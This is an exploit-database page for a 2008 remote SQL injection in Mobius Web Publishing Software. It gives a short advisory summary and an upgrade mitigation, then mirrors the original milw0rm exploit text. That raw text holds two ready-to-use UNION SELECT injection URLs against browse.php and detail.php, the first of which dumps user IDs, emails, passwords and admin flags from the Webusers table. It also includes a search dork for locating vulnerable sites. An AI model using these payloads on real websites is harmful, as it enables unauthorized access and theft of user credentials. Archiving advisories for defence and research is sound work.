Mobius - exploit.company

vendor:

Mobius Web Publishing Software

by:

dun

8.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Mobius Web Publishing Software

Affected Version From: 1.4.4.1 and below

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: a:willo.com:mobius_web_publishing_software

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Mobius <= 1.4.4.1 Remote SQL Injection Vulnerability

Mobius Web Publishing Software is prone to a remote SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this issue to manipulate SQL queries by injecting arbitrary data, allowing for the manipulation or disclosure of arbitrary data. This issue affects versions prior to Mobius 1.4.4.1.

Mitigation:

Upgrade to Mobius 1.4.4.1 or later.

Source

Exploit-DB raw data:

  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #################################################################
 #   [ Mobius <= 1.4.4.1 ]   Remote SQL Injection Vulnerability  #
 #################################################################
 # 
 # [ Script: Mobius Web Publishing Software ]
 #
 # [ Script site: http://www.willo.com/mimsy_xg/mobius.asp ]
 # 
 # [ Default table_name with users: Webusers ]
 # 
 # [ Vuln: browse.php ] http://site.com/browse.php?id=-1+UNION+SELECT+concat_ws(char(58),USID,EMAIL,SUPERSECRETPASSWORD,ADMIN)+from+Webusers+limit+0,1/* 	
 #	
 # [ Vuln: detail.php ] http://site.com/mobius_path/detail.php?t=exhibitions&type=exh&f=&s=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/* 
 # *[ in other version of Mobius, number of columns may be different ]* 
 # 
 # [ Dork example: "This website is powered by Mobius" ]
 #
 #####################################################
 # Greetz: D3m0n_DE * Voo|doo * str0ke and otherz..
 #####################################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-07-26]